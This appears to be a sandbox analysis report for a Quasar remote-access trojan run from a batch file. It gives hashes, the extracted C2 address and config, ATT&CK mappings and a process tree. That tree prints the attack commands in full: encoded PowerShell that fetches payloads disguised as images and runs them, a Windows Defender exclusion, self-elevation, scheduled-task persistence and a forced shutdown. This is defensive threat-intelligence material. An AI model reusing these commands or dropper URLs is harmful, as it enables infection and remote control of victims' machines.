quasar | 4d5a2a643cdab50f0105e110a8187cd812a7ebbc7d903b8a8029cd3508094f32

Reason

Machine shutdown

General

Target

t.cmd
Size

1KB
MD5

c3a80dbc5b98aac01cc124b59ec52d7e
SHA1

eae4d2a89be841042839e8bfeca7480a2ba327e4
SHA256

4d5a2a643cdab50f0105e110a8187cd812a7ebbc7d903b8a8029cd3508094f32
SHA512

addf559ed04d9cbaccdc25d87940c0c0af41e183087c9c956bab438b7cf755a7481aa88d534792c265ace9491302ae81343de77d4c93101a232d44d47500d5a9

Score

10^/10

quasar new execution spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://i.imghippo.com/files/Zf9637kKg.jpg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://i.imghippo.com/files/tBJo2822HAE.jpg

Extracted

Family

quasar

Version

1.4.1

Botnet

new

C2

194.26.192.167:2768

Mutex

67b58d78-e769-403e-bf6e-e83f8f31b2f5

Attributes

encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
install_name
OneDrive.exe
log_directory
Logs
reconnect_delay
3000
startup_key
OneDrive
subdirectory
OneDrive

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b8a-110.dat	family_quasar
behavioral2/memory/1788-118-0x0000000000C90000-0x0000000000FB4000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	2248	powershell.exe
18	5100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
808	powershell.exe
1788	powershell.exe
2972	powershell.exe
1772	powershell.exe
4716	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	OneDrive.exe

Executes dropped EXE 1 IoCs

pid	Process
1788	OneDrive.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "194"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
808	powershell.exe
808	powershell.exe
4716	powershell.exe
4716	powershell.exe
1788	powershell.exe
1788	powershell.exe
520	powershell.exe
520	powershell.exe
1772	powershell.exe
1772	powershell.exe
2248	powershell.exe
2248	powershell.exe
2972	powershell.exe
2972	powershell.exe
5100	powershell.exe
5100	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	808	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	520	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	1788	OneDrive.exe
Token: SeShutdownPrivilege	2356	shutdown.exe
Token: SeRemoteShutdownPrivilege	2356	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1788	OneDrive.exe
4892	LogonUI.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 808	3336	cmd.exe	84
PID 3336 wrote to memory of 808	3336	cmd.exe	84
PID 3336 wrote to memory of 4716	3336	cmd.exe	85
PID 3336 wrote to memory of 4716	3336	cmd.exe	85
PID 4716 wrote to memory of 800	4716	powershell.exe	86
PID 4716 wrote to memory of 800	4716	powershell.exe	86
PID 800 wrote to memory of 1788	800	cmd.exe	88
PID 800 wrote to memory of 1788	800	cmd.exe	88
PID 800 wrote to memory of 520	800	cmd.exe	89
PID 800 wrote to memory of 520	800	cmd.exe	89
PID 520 wrote to memory of 1772	520	powershell.exe	90
PID 520 wrote to memory of 1772	520	powershell.exe	90
PID 800 wrote to memory of 2248	800	cmd.exe	91
PID 800 wrote to memory of 2248	800	cmd.exe	91
PID 2248 wrote to memory of 2960	2248	powershell.exe	92
PID 2248 wrote to memory of 2960	2248	powershell.exe	92
PID 2960 wrote to memory of 2972	2960	cmd.exe	94
PID 2960 wrote to memory of 2972	2960	cmd.exe	94
PID 2960 wrote to memory of 5100	2960	cmd.exe	95
PID 2960 wrote to memory of 5100	2960	cmd.exe	95
PID 5100 wrote to memory of 1788	5100	powershell.exe	109
PID 5100 wrote to memory of 1788	5100	powershell.exe	109
PID 1788 wrote to memory of 456	1788	OneDrive.exe	110
PID 1788 wrote to memory of 456	1788	OneDrive.exe	110
PID 1788 wrote to memory of 2356	1788	OneDrive.exe	116
PID 1788 wrote to memory of 2356	1788	OneDrive.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\t.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\t.cmd' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\t.cmd" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAFoAZgA5ADYAMwA3AGsASwBnAC4AagBwAGcAIgA7ACQAcABhAHQAaAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAG4AZQBEAHIAaQB2AGUAIgA7AG0AawBkAGkAcgAgACQAcABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AGkAdwByACAAJAB1AHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABwAGEAdABoAFwAYgB1AGQAZAB5AC4AagBwAGcAIgA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACIAJABwAGEAdABoAFwATwBuAGUARAByAGkAdgBlAC4AYwBtAGQAIgAsAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAZwBjACAAIgAkAHAAYQB0AGgAXABiAHUAZABkAHkALgBqAHAAZwAiACAALQBSAGEAdwApACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABwAGEAdABoAFwATwBuAGUARAByAGkAdgBlAC4AYwBtAGQAIgA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2248
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2960
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w h -command ""
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2972
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAHQAQgBKAG8AMgA4ADIAMgBIAEEARQAuAGoAcABnACIAOwAkAHAAYQB0AGgAPQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATwBuAGUARAByAGkAdgBlACIAOwBtAGsAZABpAHIAIAAkAHAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAOwAkAGIANgA0AEYAaQBsAGUAPQAiACQAcABhAHQAaABcAGYAaQBsAGUALgBqAHAAZwAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQAiADsAaQB3AHIAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABiADYANABGAGkAbABlADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGUAeABlAEYAaQBsAGUALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAZwBjACAAJABiADYANABGAGkAbABlACAALQBSAGEAdwApACkAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAeABlAEYAaQBsAGUA
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5100
        
        C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        
        "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1788
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:456
        
        C:\Windows\System32\shutdown.exe
        
        "C:\Windows\System32\shutdown.exe" /s /t 0
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2356

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38e1855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b08c623a4c3d593e0197312ee60fd80b

SHA1
d758f831d82d40e2cf2b5303928840fef63c6e08

SHA256
9cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37

SHA512
0a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stebint4.fnc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd

Filesize
849B

MD5
1c09b90d8829072db618c7e3e04d14d0

SHA1
b9fc6564663efaffd29579d08615145da2208c32

SHA256
70dc0b9e8bd165ad5b9b41e4876175aea1b8e86e6c548d154730726b03dbebc3

SHA512
e9a4fef97fc17665ade02c8259dfc858ea63a0fd5961c46a85c10f9956a5fa2abcff33050db32a040bb9ffbf2e79d3238db244f4714f6ffa1a2dff63e4b0a428

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe

Filesize
3.1MB

MD5
12bcc06c6099dfa56cce7a20fda7c8ab

SHA1
3b5e6d75d161b21e5a89602c509832d0a416eaf2

SHA256
cff0e57630d92a40cb239230dfb9d293b2406f91c8374fda5d4ff70b6c8310f6

SHA512
2d1ce86d47ba9ea2ebbcc3db2249c5374d90873ac5117464b50acc554b3936f910ab1f1f5745b7652a892e3090c12c52d56feaec4bd835264d033ed0a1a8ee89

Download Submit
memory/808-11-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/808-12-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/808-8-0x000001A0A3DB0000-0x000001A0A3DD2000-memory.dmp

Filesize
136KB

Download
memory/808-16-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/808-0-0x00007FFBC4243000-0x00007FFBC4245000-memory.dmp

Filesize
8KB

Download
memory/808-15-0x000001A0A3A90000-0x000001A0A3CAC000-memory.dmp

Filesize
2.1MB

Download
memory/1788-124-0x000000001CC60000-0x000000001CC9C000-memory.dmp

Filesize
240KB

Download
memory/1788-123-0x000000001C400000-0x000000001C412000-memory.dmp

Filesize
72KB

Download
memory/1788-120-0x000000001C460000-0x000000001C512000-memory.dmp

Filesize
712KB

Download
memory/1788-119-0x000000001C350000-0x000000001C3A0000-memory.dmp

Filesize
320KB

Download
memory/1788-118-0x0000000000C90000-0x0000000000FB4000-memory.dmp

Filesize
3.1MB

Download
memory/4716-18-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/4716-32-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/4716-31-0x000002AD4FCE0000-0x000002AD4FEFC000-memory.dmp

Filesize
2.1MB

Download
memory/4716-19-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads